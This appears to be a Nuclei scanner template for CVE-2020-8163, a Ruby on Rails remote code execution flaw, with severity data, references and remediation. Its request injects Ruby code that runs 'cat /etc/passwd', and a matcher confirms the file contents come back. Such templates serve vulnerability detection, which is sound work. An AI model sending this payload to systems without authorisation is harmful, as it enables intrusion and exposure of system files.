46 lines
1.4 KiB
YAML
46 lines
1.4 KiB
YAML
id: CVE-2020-8163
|
|
|
|
info:
|
|
name: Ruby on Rails <5.0.1 - Remote Code Execution
|
|
author: tim_koopmans
|
|
severity: high
|
|
description: Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials.
|
|
remediation: |
|
|
Upgrade Ruby on Rails to version 5.0.1 or above.
|
|
reference:
|
|
- https://hackerone.com/reports/304805
|
|
- https://groups.google.com/g/rubyonrails-security/c/hWuKcHyoKh0
|
|
- https://lists.debian.org/debian-lts-announce/2020/07/msg00013.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-8163
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.8
|
|
cve-id: CVE-2020-8163
|
|
cwe-id: CWE-94
|
|
epss-score: 0.96793
|
|
epss-percentile: 0.99563
|
|
cpe: cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: rubyonrails
|
|
product: rails
|
|
tags: cve,cve2020,rails,rce,hackerone
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 490a004630440220516534e0d7f1a48226509aa5b2667e285f00c6d9b35ae6ae7cfaeab94741227b02206506648c8110e054eb2a15960681369b6ad9b98ff158b1afa46cae720b7e07be:922c64590222798bb761d5b6d8e72950
|